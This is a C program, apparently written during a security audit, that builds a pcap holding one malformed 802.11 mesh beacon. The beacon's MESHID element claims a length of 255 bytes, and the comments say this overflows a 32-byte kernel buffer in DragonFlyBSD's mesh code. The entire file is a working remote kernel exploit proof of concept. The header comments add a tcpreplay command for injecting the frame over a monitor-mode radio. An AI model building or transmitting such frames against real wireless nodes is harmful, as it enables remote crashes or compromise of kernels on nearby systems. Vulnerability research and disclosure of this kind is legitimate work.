/* * frame_craft.c - DF-0285 attacker-payload generator * * Produces the EXACT 802.11 mesh beacon that, when received by a DragonFlyBSD * vap in MBSS (mesh) mode, drives a malformed MESHID Information Element through * ieee80211_input.c's beacon IE parser into ieee80211_parse_meshid() and fires * the heap overflow at ieee80211_mesh.c:3460: * * memcpy(ni->ni_meshid, ie + 2, ie[1]); // ie[1] unchecked, up to 255 * * Output: a pcap (libpcap 2.4 magic, link-layer DLT_IEEE802_11 = 105) written * to stdout containing ONE beacon frame whose MESHID IE has length byte 0xFF * (255) and an attacker-chosen 253-byte body (a recognizable marker pattern so * the overflowed bytes are identifiable in a kernel memory dump). * * DELIVERY (NOT possible on this audit guest -- no wifi hardware): * This pcap is replayed via a real 802.11 radio in monitor+inject mode, e.g. * tcpreplay -i wlan0mon df0285_beacon.pcap (Linux, ath9k) * or fed straight to an injecting driver. On receipt by a DragonFly mesh vap * the kernel calls ieee80211_parse_beacon -> stores scan->meshid (input.c:622) * -> ieee80211_mesh_init_neighbor -> ieee80211_parse_meshid -> overflow. * * This program is a *deterministic byte-level artifact builder*. It builds and * prints the frame and writes the pcap; it does not touch any kernel. Run it * anywhere; the bytes are the proof of the attacker payload. * * Build: see build.sh * Run: ./frame_craft > df0285_beacon.pcap ; xxd df0285_beacon.pcap */ #include #include #include #include /* ---- pcap file header (libpcap native, little-endian) ---- */ struct pcap_sf_pkthdr { uint32_t magic; /* 0xa1b2c3d4 */ uint16_t version_major, version_minor; int32_t thiszone; uint32_t sigfigs; uint32_t snaplen; uint32_t linktype; /* 105 = DLT_IEEE802_11 */ }; struct pcaprec { uint32_t ts_sec, ts_usec; uint32_t incl_len, orig_len; }; /* minimal 802.11 IE / frame constants we need */ #define IEEE80211_FC0_SUBTYPE_BEACON 0x08 #define IEEE80211_FC0_TYPE_MGT 0x00 #define IEEE80211_FC0_VERSION_0 0x00 #define IEEE80211_ELEMID_SSID 0x00 #define IEEE80211_ELEMID_RATES 0x01 #define IEEE80211_ELEMID_DS 0x03 #define IEEE80211_ELEMID_MESHID 114 /* 0x72, DragonFly's mesh ID */ #define IEEE80211_ELEMID_MESHCONF 115 /* attacker-controlled MESHID IE length. 0xFF (255) is the worst case: it * overflows ni_meshid[32] by 223 bytes. Anything in (32..255] triggers it. */ #define ATTACK_MESHID_LEN 0xFF static uint8_t frame[2048]; static size_t flen; static void putb(uint8_t v){ frame[flen++] = v; } static void put16(uint16_t v){ putb(v & 0xff); putb((v>>8)&0xff); putb(0); putb(0); } /* LE-ish timestamps only */ static void putbuf(const uint8_t *p, size_t n){ memcpy(frame+flen, p, n); flen += n; } int main(int argc, char **argv) { const char *out = argc > 1 ? argv[1] : "df0285_beacon.pcap"; FILE *f = strcmp(out,"-")==0 ? stdout : fopen(out, "wb"); if (!f) { perror(out); return 1; } /* ---- build the 802.11 management beacon frame ---- */ /* Frame Control: type=MGT(0), subtype=BEACON(8), version 0 */ putb(IEEE80211_FC0_VERSION_0 | IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_BEACON); putb(0x00); /* duration / flags */ uint8_t addr1[6] = {0xff,0xff,0xff,0xff,0xff,0xff}; /* DA = broadcast */ uint8_t addr2[6] = {0x02,0x00,0x00,0x00,0x00,0x01}; /* SA = attacker "mesh peer" */ uint8_t addr3[6] = {0x02,0x00,0x00,0x00,0x00,0x01}; /* BSSID */ putbuf(addr1,6); putbuf(addr2,6); putbuf(addr3,6); put16(0); /* this is a hack for seq ctrl; use real 2-byte seq below */ /* fix: seq ctl is 2 bytes, not 4. rewind and write properly */ flen -= 4; /* undo the bogus put16 */ putb(0x00); putb(0x00); /* seq ctl */ /* ---- fixed fields (beacon body) ---- */ /* timestamp: 8 bytes */ putbuf((uint8_t[]){0,0,0,0,0,0,0,0}, 8); put16(0x0064); /* beacon interval = 100 TU (LE: 64 00) -- write 2 bytes */ flen -= 2; putb(0x64); putb(0x00); /* 2-byte LE beacon interval */ /* capability info: 0x0800 = ESS short-preamble-ish; 2 bytes LE */ putb(0x00); putb(0x08); /* ---- Information Elements ---- */ /* SSID (wildcard, len 0) -- required for parse */ putb(IEEE80211_ELEMID_SSID); putb(0); /* Supported rates (1 byte payload to satisfy parser) */ putb(IEEE80211_ELEMID_RATES); putb(1); putb(0x82); /* DS params (channel) */ putb(IEEE80211_ELEMID_DS); putb(1); putb(6); /* === THE WEAPONIZED IE === MESHID with length 0xFF === */ size_t ie_off = flen; putb(IEEE80211_ELEMID_MESHID); /* ie[0] = element id */ putb(ATTACK_MESHID_LEN); /* ie[1] = 255 <-- the unchecked length */ /* 253-byte body. First 32 bytes fill ni_meshid legally; the remaining 223 * bytes are the overflow. We use a marker so the OOB bytes are visible in * a kernel dump: 0x41 ringed with a 4-byte tag at the overflow start. */ putbuf((const uint8_t*)"DF285", 5); /* tag so we can find it */ for (int i = 0; i < ATTACK_MESHID_LEN - 5; i++) putb(0x41); /* 250 bytes of 'A' */ size_t ie_end = flen; fprintf(stderr, "[frame_craft] MESHID IE at frame offset %zu, id=0x%02x len=%u, body=%zu bytes\n", ie_off, IEEE80211_ELEMID_MESHID, ATTACK_MESHID_LEN, ie_end - ie_off - 2); /* ---- write pcap ---- */ struct pcap_sf_pkthdr ph; ph.magic = 0xa1b2c3d4; ph.version_major = 2; ph.version_minor = 4; ph.thiszone = 0; ph.sigfigs = 0; ph.snaplen = 65535; ph.linktype = 105; struct pcaprec rec = { 0, 0, (uint32_t)flen, (uint32_t)flen }; fwrite(&ph, sizeof ph, 1, f); fwrite(&rec, sizeof rec, 1, f); fwrite(frame, 1, flen, f); if (f != stdout) fclose(f); fprintf(stderr, "[frame_craft] wrote %zu-byte beacon frame to %s (pcap DLT 105)\n", flen, out); fprintf(stderr, "[frame_craft] TRIGGER: on a DragonFly MBSS vap, receipt of this frame\n"); fprintf(stderr, " overflows ni_meshid[32] by 223 bytes into ni_mltimer/.toc.\n"); fprintf(stderr, "[frame_craft] NOTE: no wifi HW on this audit guest => not delivered here.\n"); return 0; }